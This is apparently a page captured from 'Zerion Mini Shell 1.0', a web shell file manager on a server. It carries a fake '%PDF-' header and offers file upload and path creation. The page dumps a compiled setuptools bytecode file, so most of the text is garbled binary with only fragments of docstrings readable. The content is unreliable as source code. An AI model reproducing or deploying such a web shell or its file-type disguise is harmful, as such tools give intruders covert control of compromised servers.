%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/setuptools/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/setuptools/__pycache__/_entry_points.cpython-312.pyc

�


_�d���J�ddlZddlZddlZddlmZddlmZddlmZddl	m
Z
ddlmZddl
mZd	�Zd
�Zd�Zde
j$fd
�Zej(d��Zej-e�d��Zej-ed�d��ede
j$fd��Zd�Zy)�N�)�OptionError)�yield_lines)�	pass_none)�metadata)�
ensure_unique)�consumec�d�	|jy#t$r}d|�d�}t|�|�d}~wwxYw)zR
    Exercise one of the dynamic properties to trigger
    the pattern match.
    zProblems to parse zq.
Please ensure entry-point follows the spec: https://packaging.python.org/en/latest/specifications/entry-points/N)�extras�AttributeErrorr)�ep�ex�msgs   �:/usr/lib/python3/dist-packages/setuptools/_entry_points.py�ensure_validr
sE��
'�
�	�	���'� ���%R�
R�	��#��B�&��'�s��	/�*�/c��t|�}d|�d�dj|�z}tjj	|�S)zf
    Given a value of an entry point or series of entry points,
    return each as an EntryPoint.
    �[�]
�
)r�joinr�EntryPoints�
_from_text)�value�group�lines�texts    r�
load_grouprs@��
���E�
�u�g�S�>�D�I�I�e�,�,�D����*�*�4�0�0�c�2�|j|jfS�N)r�name)r
s r�by_group_and_namer"'s��
�8�8�R�W�W��r�epsc	�V�tttt|t����|S)zM
    Ensure entry points are unique by group and name and validate each.
    ��key)r	�maprrr"�r#s r�validater)+s ���C��m�C�5F�G�H�I��Jrc��tjjd�|j�D��}t	tj|��S)zA
    Given a Distribution.entry_points, produce EntryPoints.
    c3�:K�|]\}}t||����y�wr )r)�.0rrs   r�	<genexpr>zload.<locals>.<genexpr>8s ����+�%1�U�E�
�5�%� �+�s�)�	itertools�chain�
from_iterable�itemsr)rr)r#�groupss  r�loadr33sC��
�_�_�
*�
*�+�58�Y�Y�[�+��F��H�(�(��0�1�1rc�x�ttjtjj|���S)z�
    >>> ep, = load('[console_scripts]\nfoo=bar')
    >>> ep.group
    'console_scripts'
    >>> ep.name
    'foo'
    >>> ep.value
    'bar'
    )r)rrrr(s r�_r5>s+���H�(�(��)=�)=�)H�)H��)M�N�O�Orc��|Sr �)�xs r�<lambda>r9Ls��A�rc��tjd�}tjt	||��|�}djd�|D��S)Nrr%rc3�FK�|]\}}d|�dt|��d����y�w)rrrN)�render_items)r,rr1s   rr-zrender.<locals>.<genexpr>Ts)����V�|�u�e�q���s�<��#6�"7�r�:�V�s�!)�operator�
attrgetterr.�groupby�sortedr)r#�by_groupr2s   r�renderrBOs@���"�"�7�+�H�
�
�
�v�c�x�8�(�
C�F��9�9�V�v�V�V�Vrc�D�djd�t|�D��S)Nrc3�RK�|]}|j�d|j�����!y�w)z = N)r!r)r,r
s  rr-zrender_items.<locals>.<genexpr>Xs#����E�2����y��B�H�H�:�.�E�s�%')rr@r(s rr<r<Ws���9�9�E����E�E�Er)�	functoolsr=r.�errorsr�extern.jaraco.textr�extern.jaraco.functoolsr�
_importlibr�
_itertoolsr�extern.more_itertoolsr	rrr"rr)�singledispatchr3�register�strr5�typerBr<r7rr�<module>rPs�������+�.� �%�*�'�1���(�&�&�����2��2����s��
P��
P��
�
�d�4�j�+�&��W��$�$�W��W�Fr

Zerion Mini Shell 1.0